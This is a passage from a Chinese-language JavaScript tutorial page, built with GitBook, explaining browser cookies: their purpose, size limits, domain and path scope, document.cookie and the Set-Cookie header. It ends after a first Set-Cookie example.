
<!DOCTYPE HTML>
<html lang="zh-hans" >
    <head>
        <meta charset="UTF-8">
        <meta content="text/html; charset=utf-8" http-equiv="Content-Type">
        <title>Javascript教程 - Cookie - 小白AI.易名</title>
        <meta http-equiv="X-UA-Compatible" content="IE=edge" />
        <meta name="description" content="Javascript教程"><meta name="keywords" content="小白AI.易名,xiaobaiai.net,Javascript,入门,教程,博客">
        <meta name="generator" content="GitBook 3.2.3">
        <meta name="author" content="小白AI.易名">
        
        
    
    <link rel="stylesheet" href="../../gitbook/style.css">

    
            
                
                <link rel="stylesheet" href="../../gitbook/gitbook-plugin-chapter-fold/chapter-fold.css">
                
            
                
                <link rel="stylesheet" href="../../gitbook/gitbook-plugin-back-to-top-button/plugin.css">
                
            
                
                <link rel="stylesheet" href="../../gitbook/gitbook-plugin-search-pro/search.css">
                
            
                
                <link rel="stylesheet" href="../../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css">
                
            
                
                <link rel="stylesheet" href="../../gitbook/gitbook-plugin-highlight/website.css">
                
            
                
                <link rel="stylesheet" href="../../gitbook/gitbook-plugin-search/search.css">
                
            
                
                <link rel="stylesheet" href="../../gitbook/gitbook-plugin-fontsettings/website.css">
                
            
        

    

    
        
    
        
    
        
    
        
    
        
    
        
    

        
    
    
    
    <meta name="HandheldFriendly" content="true"/>
    <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no">
    <meta name="apple-mobile-web-app-capable" content="yes">
    <meta name="apple-mobile-web-app-status-bar-style" content="black">
    <link rel="apple-touch-icon-precomposed" sizes="152x152" href="../../gitbook/images/apple-touch-icon-precomposed-152.png">
    <link rel="shortcut icon" href="../../gitbook/images/favicon.ico" type="image/x-icon">

    
    <link rel="next" href="xmlhttprequest.html" />
    
    
    <link rel="prev" href="navigator.html" />
    

    
        <link rel="shortcut icon" href='../../assets/images/favicon.ico' type="image/x-icon">
    
    
        <link rel="bookmark" href='../../assets/images/favicon.ico' type="image/x-icon">
    
    
        <link rel="apple-touch-icon" href='../../assets/images/apple-touch-icon.png'>
    
    
        
        <link rel="apple-touch-icon" sizes="120x120" href="../../assets/images/apple-touch-icon-120x120.png">
        
        <link rel="apple-touch-icon" sizes="180x180" href="../../assets/images/apple-touch-icon-180x180.png">
        
    

    </head>
    <body>
        
<div class="book">
    <div class="book-summary">
        
            
<div id="book-search-input" role="search">
    <input type="text" placeholder="输入并搜索" />
</div>

            
                <nav role="navigation">
                


<ul class="summary">
    
    

    

    
        
        
    
        <li class="chapter " data-level="1.1" data-path="../../">
            
                <a href="../../">
            
                    
                    简介
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.2" data-path="../basic/">
            
                <a href="../basic/">
            
                    
                    入门篇
            
                </a>
            

            
            <ul class="articles">
                
    
        <li class="chapter " data-level="1.2.1" data-path="../basic/introduction.html">
            
                <a href="../basic/introduction.html">
            
                    
                    导论
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.2.2" data-path="../basic/history.html">
            
                <a href="../basic/history.html">
            
                    
                    历史
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.2.3" data-path="../basic/grammar.html">
            
                <a href="../basic/grammar.html">
            
                    
                    基本语法
            
                </a>
            

            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="1.3" data-path="../types/">
            
                <a href="../types/">
            
                    
                    数据类型
            
                </a>
            

            
            <ul class="articles">
                
    
        <li class="chapter " data-level="1.3.1" data-path="../types/general.html">
            
                <a href="../types/general.html">
            
                    
                    概述
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.3.2" data-path="../types/null-undefined-boolean.html">
            
                <a href="../types/null-undefined-boolean.html">
            
                    
                    null,undefined和布尔值
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.3.3" data-path="../types/number.html">
            
                <a href="../types/number.html">
            
                    
                    数值
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.3.4" data-path="../types/string.html">
            
                <a href="../types/string.html">
            
                    
                    字符串
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.3.5" data-path="../types/object.html">
            
                <a href="../types/object.html">
            
                    
                    对象
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.3.6" data-path="../types/function.html">
            
                <a href="../types/function.html">
            
                    
                    函数
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.3.7" data-path="../types/array.html">
            
                <a href="../types/array.html">
            
                    
                    数组
            
                </a>
            

            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="1.4" data-path="../operators/">
            
                <a href="../operators/">
            
                    
                    运算符
            
                </a>
            

            
            <ul class="articles">
                
    
        <li class="chapter " data-level="1.4.1" data-path="../operators/arithmetic.html">
            
                <a href="../operators/arithmetic.html">
            
                    
                    算术运算符
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.4.2" data-path="../operators/comparison.html">
            
                <a href="../operators/comparison.html">
            
                    
                    比较运算符
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.4.3" data-path="../operators/boolean.html">
            
                <a href="../operators/boolean.html">
            
                    
                    布尔运算符
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.4.4" data-path="../operators/bit.html">
            
                <a href="../operators/bit.html">
            
                    
                    二进制位运算符
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.4.5" data-path="../operators/priority.html">
            
                <a href="../operators/priority.html">
            
                    
                    其他运算符，运算顺序
            
                </a>
            

            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="1.5" data-path="../features/">
            
                <a href="../features/">
            
                    
                    语法专题
            
                </a>
            

            
            <ul class="articles">
                
    
        <li class="chapter " data-level="1.5.1" data-path="../features/conversion.html">
            
                <a href="../features/conversion.html">
            
                    
                    数据类型的转换
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.5.2" data-path="../features/error.html">
            
                <a href="../features/error.html">
            
                    
                    错误处理机制
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.5.3" data-path="../features/style.html">
            
                <a href="../features/style.html">
            
                    
                    编程风格
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.5.4" data-path="../features/console.html">
            
                <a href="../features/console.html">
            
                    
                    console 对象与控制台
            
                </a>
            

            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="1.6" data-path="../stdlib/">
            
                <a href="../stdlib/">
            
                    
                    标准库
            
                </a>
            

            
            <ul class="articles">
                
    
        <li class="chapter " data-level="1.6.1" data-path="../stdlib/object.html">
            
                <a href="../stdlib/object.html">
            
                    
                    Object 对象
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.6.2" data-path="../stdlib/attributes.html">
            
                <a href="../stdlib/attributes.html">
            
                    
                    属性描述对象
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.6.3" data-path="../stdlib/array.html">
            
                <a href="../stdlib/array.html">
            
                    
                    Array 对象
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.6.4" data-path="../stdlib/wrapper.html">
            
                <a href="../stdlib/wrapper.html">
            
                    
                    包装对象
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.6.5" data-path="../stdlib/boolean.html">
            
                <a href="../stdlib/boolean.html">
            
                    
                    Boolean 对象
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.6.6" data-path="../stdlib/number.html">
            
                <a href="../stdlib/number.html">
            
                    
                    Number 对象
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.6.7" data-path="../stdlib/string.html">
            
                <a href="../stdlib/string.html">
            
                    
                    String 对象
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.6.8" data-path="../stdlib/math.html">
            
                <a href="../stdlib/math.html">
            
                    
                    Math 对象
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.6.9" data-path="../stdlib/date.html">
            
                <a href="../stdlib/date.html">
            
                    
                    Date 对象
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.6.10" data-path="../stdlib/regexp.html">
            
                <a href="../stdlib/regexp.html">
            
                    
                    RegExp 对象
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.6.11" data-path="../stdlib/json.html">
            
                <a href="../stdlib/json.html">
            
                    
                    JSON 对象
            
                </a>
            

            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="1.7" data-path="../oop/">
            
                <a href="../oop/">
            
                    
                    面向对象编程
            
                </a>
            

            
            <ul class="articles">
                
    
        <li class="chapter " data-level="1.7.1" data-path="../oop/new.html">
            
                <a href="../oop/new.html">
            
                    
                    实例对象与 New 命令
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.7.2" data-path="../oop/this.html">
            
                <a href="../oop/this.html">
            
                    
                    this 关键字
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.7.3" data-path="../oop/prototype.html">
            
                <a href="../oop/prototype.html">
            
                    
                    对象的继承
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.7.4" data-path="../oop/object.html">
            
                <a href="../oop/object.html">
            
                    
                    Object 对象的相关方法
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.7.5" data-path="../oop/strict.html">
            
                <a href="../oop/strict.html">
            
                    
                    严格模式
            
                </a>
            

            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="1.8" data-path="../async/">
            
                <a href="../async/">
            
                    
                    异步操作
            
                </a>
            

            
            <ul class="articles">
                
    
        <li class="chapter " data-level="1.8.1" data-path="../async/general.html">
            
                <a href="../async/general.html">
            
                    
                    概述
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.8.2" data-path="../async/timer.html">
            
                <a href="../async/timer.html">
            
                    
                    定时器
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.8.3" data-path="../async/promise.html">
            
                <a href="../async/promise.html">
            
                    
                    Promise 对象
            
                </a>
            

            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="1.9" data-path="../dom/">
            
                <a href="../dom/">
            
                    
                    DOM
            
                </a>
            

            
            <ul class="articles">
                
    
        <li class="chapter " data-level="1.9.1" data-path="../dom/general.html">
            
                <a href="../dom/general.html">
            
                    
                    概述
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.9.2" data-path="../dom/node.html">
            
                <a href="../dom/node.html">
            
                    
                    Node 接口
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.9.3" data-path="../dom/nodelist.html">
            
                <a href="../dom/nodelist.html">
            
                    
                    NodeList 接口，HTMLCollection 接口
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.9.4" data-path="../dom/parentnode.html">
            
                <a href="../dom/parentnode.html">
            
                    
                    ParentNode 接口，ChildNode 接口
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.9.5" data-path="../dom/document.html">
            
                <a href="../dom/document.html">
            
                    
                    Document 节点
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.9.6" data-path="../dom/element.html">
            
                <a href="../dom/element.html">
            
                    
                    Element 节点
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.9.7" data-path="../dom/attributes.html">
            
                <a href="../dom/attributes.html">
            
                    
                    属性的操作
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.9.8" data-path="../dom/text.html">
            
                <a href="../dom/text.html">
            
                    
                    Text 节点和 DocumentFragment 节点
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.9.9" data-path="../dom/css.html">
            
                <a href="../dom/css.html">
            
                    
                    CSS 操作
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.9.10" data-path="../dom/mutationobserver.html">
            
                <a href="../dom/mutationobserver.html">
            
                    
                    Mutation Observer API
            
                </a>
            

            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="1.10" data-path="../events/">
            
                <a href="../events/">
            
                    
                    事件
            
                </a>
            

            
            <ul class="articles">
                
    
        <li class="chapter " data-level="1.10.1" data-path="../events/eventtarget.html">
            
                <a href="../events/eventtarget.html">
            
                    
                    EventTarget 接口
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.10.2" data-path="../events/model.html">
            
                <a href="../events/model.html">
            
                    
                    事件模型
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.10.3" data-path="../events/event.html">
            
                <a href="../events/event.html">
            
                    
                    Event 对象
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.10.4" data-path="../events/mouse.html">
            
                <a href="../events/mouse.html">
            
                    
                    鼠标事件
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.10.5" data-path="../events/keyboard.html">
            
                <a href="../events/keyboard.html">
            
                    
                    键盘事件
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.10.6" data-path="../events/progress.html">
            
                <a href="../events/progress.html">
            
                    
                    进度事件
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.10.7" data-path="../events/form.html">
            
                <a href="../events/form.html">
            
                    
                    表单事件
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.10.8" data-path="../events/touch.html">
            
                <a href="../events/touch.html">
            
                    
                    触摸事件
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.10.9" data-path="../events/drag.html">
            
                <a href="../events/drag.html">
            
                    
                    拖拉事件
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.10.10" data-path="../events/common.html">
            
                <a href="../events/common.html">
            
                    
                    其他常见事件
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.10.11" data-path="../events/globaleventhandlers.html">
            
                <a href="../events/globaleventhandlers.html">
            
                    
                    GlobalEventHandlers 接口
            
                </a>
            

            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="1.11" data-path="./">
            
                <a href="./">
            
                    
                    浏览器模型
            
                </a>
            

            
            <ul class="articles">
                
    
        <li class="chapter " data-level="1.11.1" data-path="engine.html">
            
                <a href="engine.html">
            
                    
                    浏览器模型概述
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.11.2" data-path="window.html">
            
                <a href="window.html">
            
                    
                    window 对象
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.11.3" data-path="navigator.html">
            
                <a href="navigator.html">
            
                    
                    Navigatror 对象，Screen 对象
            
                </a>
            

            
        </li>
    
        <li class="chapter active" data-level="1.11.4" data-path="cookie.html">
            
                <a href="cookie.html">
            
                    
                    Cookie
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.11.5" data-path="xmlhttprequest.html">
            
                <a href="xmlhttprequest.html">
            
                    
                    XMLHttpRequest 对象
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.11.6" data-path="same-origin.html">
            
                <a href="same-origin.html">
            
                    
                    同源限制
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.11.7" data-path="cors.html">
            
                <a href="cors.html">
            
                    
                    CORS 通信
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.11.8" data-path="storage.html">
            
                <a href="storage.html">
            
                    
                    Storage 接口
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.11.9" data-path="history.html">
            
                <a href="history.html">
            
                    
                    History 对象
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.11.10" data-path="location.html">
            
                <a href="location.html">
            
                    
                    Location对象，URL对象，URLSearchParams 对象
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.11.11" data-path="arraybuffer.html">
            
                <a href="arraybuffer.html">
            
                    
                    ArrayBuffer 对象，Blob对象
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.11.12" data-path="file.html">
            
                <a href="file.html">
            
                    
                    File 对象，FileList 对象，FileReader 对象
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.11.13" data-path="form.html">
            
                <a href="form.html">
            
                    
                    表单，FormData 对象
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.11.14" data-path="indexeddb.html">
            
                <a href="indexeddb.html">
            
                    
                    IndexedDB API
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.11.15" data-path="webworker.html">
            
                <a href="webworker.html">
            
                    
                    web worker
            
                </a>
            

            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="1.12" data-path="../elements/">
            
                <a href="../elements/">
            
                    
                    附录:网页元素接口
            
                </a>
            

            
            <ul class="articles">
                
    
        <li class="chapter " data-level="1.12.1" data-path="../elements/a.html">
            
                <a href="../elements/a.html">
            
                    
                    a超链接
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.12.2" data-path="../elements/image.html">
            
                <a href="../elements/image.html">
            
                    
                    image图片
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.12.3" data-path="../elements/form.html">
            
                <a href="../elements/form.html">
            
                    
                    form表单
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.12.4" data-path="../elements/input.html">
            
                <a href="../elements/input.html">
            
                    
                    input文本框
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.12.5" data-path="../elements/button.html">
            
                <a href="../elements/button.html">
            
                    
                    button按钮
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.12.6" data-path="../elements/option.html">
            
                <a href="../elements/option.html">
            
                    
                    option选项
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.12.7" data-path="../elements/video.html">
            
                <a href="../elements/video.html">
            
                    
                    video,audio音视频
            
                </a>
            

            
        </li>
    

            </ul>
            
        </li>
    

    

    <li class="divider"></li>

    <li>
        <a href="https://www.gitbook.com" target="_blank" rel="nofollow" class="gitbook-link">
            本书使用 GitBook 发布
        </a>
    </li>
</ul>


                </nav>
            
        
    </div>

    <div class="book-body">
        
            <div class="body-inner">
                
                    

<div class="book-header" role="navigation">
    

    <!-- Title -->
    <h1>
        <i class="fa fa-circle-o-notch fa-spin"></i>
        <a href="../.." >Cookie</a>
    </h1>
</div>




                    <div class="page-wrapper" tabindex="-1" role="main">
                        <div class="page-inner">
                            
<div id="book-search-results">
    <div class="search-noresults">
    
<div id="book-search-results">
    <div class="search-noresults">
    
                                <section class="normal markdown-section">
                                
                                <h1 id="cookie">Cookie</h1>
<h2 id="&#x6982;&#x8FF0;">&#x6982;&#x8FF0;</h2>
<p>Cookie &#x662F;&#x670D;&#x52A1;&#x5668;&#x4FDD;&#x5B58;&#x5728;&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x4E00;&#x5C0F;&#x6BB5;&#x6587;&#x672C;&#x4FE1;&#x606F;&#xFF0C;&#x6BCF;&#x4E2A; Cookie &#x7684;&#x5927;&#x5C0F;&#x4E00;&#x822C;&#x4E0D;&#x80FD;&#x8D85;&#x8FC7;4KB&#x3002;&#x6D4F;&#x89C8;&#x5668;&#x6BCF;&#x6B21;&#x5411;&#x670D;&#x52A1;&#x5668;&#x53D1;&#x51FA;&#x8BF7;&#x6C42;&#xFF0C;&#x5C31;&#x4F1A;&#x81EA;&#x52A8;&#x9644;&#x4E0A;&#x8FD9;&#x6BB5;&#x4FE1;&#x606F;&#x3002;</p>
<p>Cookie &#x4E3B;&#x8981;&#x7528;&#x6765;&#x5206;&#x8FA8;&#x4E24;&#x4E2A;&#x8BF7;&#x6C42;&#x662F;&#x5426;&#x6765;&#x81EA;&#x540C;&#x4E00;&#x4E2A;&#x6D4F;&#x89C8;&#x5668;&#xFF0C;&#x4EE5;&#x53CA;&#x7528;&#x6765;&#x4FDD;&#x5B58;&#x4E00;&#x4E9B;&#x72B6;&#x6001;&#x4FE1;&#x606F;&#x3002;&#x5B83;&#x7684;&#x5E38;&#x7528;&#x573A;&#x5408;&#x6709;&#x4EE5;&#x4E0B;&#x4E00;&#x4E9B;&#x3002;</p>
<ul>
<li>&#x5BF9;&#x8BDD;&#xFF08;session&#xFF09;&#x7BA1;&#x7406;&#xFF1A;&#x4FDD;&#x5B58;&#x767B;&#x5F55;&#x3001;&#x8D2D;&#x7269;&#x8F66;&#x7B49;&#x9700;&#x8981;&#x8BB0;&#x5F55;&#x7684;&#x4FE1;&#x606F;&#x3002;</li>
<li>&#x4E2A;&#x6027;&#x5316;&#xFF1A;&#x4FDD;&#x5B58;&#x7528;&#x6237;&#x7684;&#x504F;&#x597D;&#xFF0C;&#x6BD4;&#x5982;&#x7F51;&#x9875;&#x7684;&#x5B57;&#x4F53;&#x5927;&#x5C0F;&#x3001;&#x80CC;&#x666F;&#x8272;&#x7B49;&#x7B49;&#x3002;</li>
<li>&#x8FFD;&#x8E2A;&#xFF1A;&#x8BB0;&#x5F55;&#x548C;&#x5206;&#x6790;&#x7528;&#x6237;&#x884C;&#x4E3A;&#x3002;</li>
</ul>
<p>&#x6709;&#x4E9B;&#x5F00;&#x53D1;&#x8005;&#x4F7F;&#x7528; Cookie &#x4F5C;&#x4E3A;&#x5BA2;&#x6237;&#x7AEF;&#x50A8;&#x5B58;&#x3002;&#x8FD9;&#x6837;&#x505A;&#x867D;&#x7136;&#x53EF;&#x884C;&#xFF0C;&#x4F46;&#x662F;&#x5E76;&#x4E0D;&#x63A8;&#x8350;&#xFF0C;&#x56E0;&#x4E3A; Cookie &#x7684;&#x8BBE;&#x8BA1;&#x76EE;&#x6807;&#x5E76;&#x4E0D;&#x662F;&#x8FD9;&#x4E2A;&#xFF0C;&#x5B83;&#x7684;&#x5BB9;&#x91CF;&#x5F88;&#x5C0F;&#xFF08;4KB&#xFF09;&#xFF0C;&#x7F3A;&#x4E4F;&#x6570;&#x636E;&#x64CD;&#x4F5C;&#x63A5;&#x53E3;&#xFF0C;&#x800C;&#x4E14;&#x4F1A;&#x5F71;&#x54CD;&#x6027;&#x80FD;&#x3002;&#x5BA2;&#x6237;&#x7AEF;&#x50A8;&#x5B58;&#x5E94;&#x8BE5;&#x4F7F;&#x7528; Web storage API &#x548C; IndexedDB&#x3002;</p>
<p>Cookie &#x5305;&#x542B;&#x4EE5;&#x4E0B;&#x51E0;&#x65B9;&#x9762;&#x7684;&#x4FE1;&#x606F;&#x3002;</p>
<ul>
<li>Cookie &#x7684;&#x540D;&#x5B57;</li>
<li>Cookie &#x7684;&#x503C;&#xFF08;&#x771F;&#x6B63;&#x7684;&#x6570;&#x636E;&#x5199;&#x5728;&#x8FD9;&#x91CC;&#x9762;&#xFF09;</li>
<li>&#x5230;&#x671F;&#x65F6;&#x95F4;</li>
<li>&#x6240;&#x5C5E;&#x57DF;&#x540D;&#xFF08;&#x9ED8;&#x8BA4;&#x662F;&#x5F53;&#x524D;&#x57DF;&#x540D;&#xFF09;</li>
<li>&#x751F;&#x6548;&#x7684;&#x8DEF;&#x5F84;&#xFF08;&#x9ED8;&#x8BA4;&#x662F;&#x5F53;&#x524D;&#x7F51;&#x5740;&#xFF09;</li>
</ul>
<p>&#x4E3E;&#x4F8B;&#x6765;&#x8BF4;&#xFF0C;&#x7528;&#x6237;&#x8BBF;&#x95EE;&#x7F51;&#x5740;<code>www.example.com</code>&#xFF0C;&#x670D;&#x52A1;&#x5668;&#x5728;&#x6D4F;&#x89C8;&#x5668;&#x5199;&#x5165;&#x4E00;&#x4E2A; Cookie&#x3002;&#x8FD9;&#x4E2A; Cookie &#x5C31;&#x4F1A;&#x5305;&#x542B;<code>www.example.com</code>&#x8FD9;&#x4E2A;&#x57DF;&#x540D;&#xFF0C;&#x4EE5;&#x53CA;&#x6839;&#x8DEF;&#x5F84;<code>/</code>&#x3002;&#x8FD9;&#x610F;&#x5473;&#x7740;&#xFF0C;&#x8FD9;&#x4E2A; Cookie &#x5BF9;&#x8BE5;&#x57DF;&#x540D;&#x7684;&#x6839;&#x8DEF;&#x5F84;&#x548C;&#x5B83;&#x7684;&#x6240;&#x6709;&#x5B50;&#x8DEF;&#x5F84;&#x90FD;&#x6709;&#x6548;&#x3002;&#x5982;&#x679C;&#x8DEF;&#x5F84;&#x8BBE;&#x4E3A;<code>/forums</code>&#xFF0C;&#x90A3;&#x4E48;&#x8FD9;&#x4E2A; Cookie &#x53EA;&#x6709;&#x5728;&#x8BBF;&#x95EE;<code>www.example.com/forums</code>&#x53CA;&#x5176;&#x5B50;&#x8DEF;&#x5F84;&#x65F6;&#x624D;&#x6709;&#x6548;&#x3002;&#x4EE5;&#x540E;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x4E00;&#x65E6;&#x8BBF;&#x95EE;&#x8FD9;&#x4E2A;&#x8DEF;&#x5F84;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x5C31;&#x4F1A;&#x9644;&#x4E0A;&#x8FD9;&#x6BB5; Cookie &#x53D1;&#x9001;&#x7ED9;&#x670D;&#x52A1;&#x5668;&#x3002;</p>
<p>&#x6D4F;&#x89C8;&#x5668;&#x53EF;&#x4EE5;&#x8BBE;&#x7F6E;&#x4E0D;&#x63A5;&#x53D7; Cookie&#xFF0C;&#x4E5F;&#x53EF;&#x4EE5;&#x8BBE;&#x7F6E;&#x4E0D;&#x5411;&#x670D;&#x52A1;&#x5668;&#x53D1;&#x9001; Cookie&#x3002;<code>window.navigator.cookieEnabled</code>&#x5C5E;&#x6027;&#x8FD4;&#x56DE;&#x4E00;&#x4E2A;&#x5E03;&#x5C14;&#x503C;&#xFF0C;&#x8868;&#x793A;&#x6D4F;&#x89C8;&#x5668;&#x662F;&#x5426;&#x6253;&#x5F00; Cookie &#x529F;&#x80FD;&#x3002;</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// &#x6D4F;&#x89C8;&#x5668;&#x662F;&#x5426;&#x6253;&#x5F00; Cookie &#x529F;&#x80FD;</span>
<span class="hljs-built_in">window</span>.navigator.cookieEnabled <span class="hljs-comment">// true</span>
</code></pre>
<p><code>document.cookie</code>&#x5C5E;&#x6027;&#x8FD4;&#x56DE;&#x5F53;&#x524D;&#x7F51;&#x9875;&#x7684; Cookie&#x3002;</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// &#x5F53;&#x524D;&#x7F51;&#x9875;&#x7684; Cookie</span>
<span class="hljs-built_in">document</span>.cookie
</code></pre>
<p>&#x4E0D;&#x540C;&#x6D4F;&#x89C8;&#x5668;&#x5BF9; Cookie &#x6570;&#x91CF;&#x548C;&#x5927;&#x5C0F;&#x7684;&#x9650;&#x5236;&#xFF0C;&#x662F;&#x4E0D;&#x4E00;&#x6837;&#x7684;&#x3002;&#x4E00;&#x822C;&#x6765;&#x8BF4;&#xFF0C;&#x5355;&#x4E2A;&#x57DF;&#x540D;&#x8BBE;&#x7F6E;&#x7684; Cookie &#x4E0D;&#x5E94;&#x8D85;&#x8FC7;30&#x4E2A;&#xFF0C;&#x6BCF;&#x4E2A; Cookie &#x7684;&#x5927;&#x5C0F;&#x4E0D;&#x80FD;&#x8D85;&#x8FC7;4KB&#x3002;&#x8D85;&#x8FC7;&#x9650;&#x5236;&#x4EE5;&#x540E;&#xFF0C;Cookie &#x5C06;&#x88AB;&#x5FFD;&#x7565;&#xFF0C;&#x4E0D;&#x4F1A;&#x88AB;&#x8BBE;&#x7F6E;&#x3002;</p>
<p>&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x540C;&#x6E90;&#x653F;&#x7B56;&#x89C4;&#x5B9A;&#xFF0C;&#x4E24;&#x4E2A;&#x7F51;&#x5740;&#x53EA;&#x8981;&#x57DF;&#x540D;&#x76F8;&#x540C;&#x548C;&#x7AEF;&#x53E3;&#x76F8;&#x540C;&#xFF0C;&#x5C31;&#x53EF;&#x4EE5;&#x5171;&#x4EAB; Cookie&#xFF08;&#x53C2;&#x89C1;&#x300A;&#x540C;&#x6E90;&#x653F;&#x7B56;&#x300B;&#x4E00;&#x7AE0;&#xFF09;&#x3002;&#x6CE8;&#x610F;&#xFF0C;&#x8FD9;&#x91CC;&#x4E0D;&#x8981;&#x6C42;&#x534F;&#x8BAE;&#x76F8;&#x540C;&#x3002;&#x4E5F;&#x5C31;&#x662F;&#x8BF4;&#xFF0C;<code>http://example.com</code>&#x8BBE;&#x7F6E;&#x7684; Cookie&#xFF0C;&#x53EF;&#x4EE5;&#x88AB;<code>https://example.com</code>&#x8BFB;&#x53D6;&#x3002;</p>
<h2 id="cookie-&#x4E0E;-http-&#x534F;&#x8BAE;">Cookie &#x4E0E; HTTP &#x534F;&#x8BAE;</h2>
<p>Cookie &#x7531; HTTP &#x534F;&#x8BAE;&#x751F;&#x6210;&#xFF0C;&#x4E5F;&#x4E3B;&#x8981;&#x662F;&#x4F9B; HTTP &#x534F;&#x8BAE;&#x4F7F;&#x7528;&#x3002;</p>
<h3 id="http-&#x56DE;&#x5E94;&#xFF1A;cookie-&#x7684;&#x751F;&#x6210;">HTTP &#x56DE;&#x5E94;&#xFF1A;Cookie &#x7684;&#x751F;&#x6210;</h3>
<p>&#x670D;&#x52A1;&#x5668;&#x5982;&#x679C;&#x5E0C;&#x671B;&#x5728;&#x6D4F;&#x89C8;&#x5668;&#x4FDD;&#x5B58; Cookie&#xFF0C;&#x5C31;&#x8981;&#x5728; HTTP &#x56DE;&#x5E94;&#x7684;&#x5934;&#x4FE1;&#x606F;&#x91CC;&#x9762;&#xFF0C;&#x653E;&#x7F6E;&#x4E00;&#x4E2A;<code>Set-Cookie</code>&#x5B57;&#x6BB5;&#x3002;</p>
<pre><code class="lang-http">Set-Cookie:foo=bar
</code></pre>
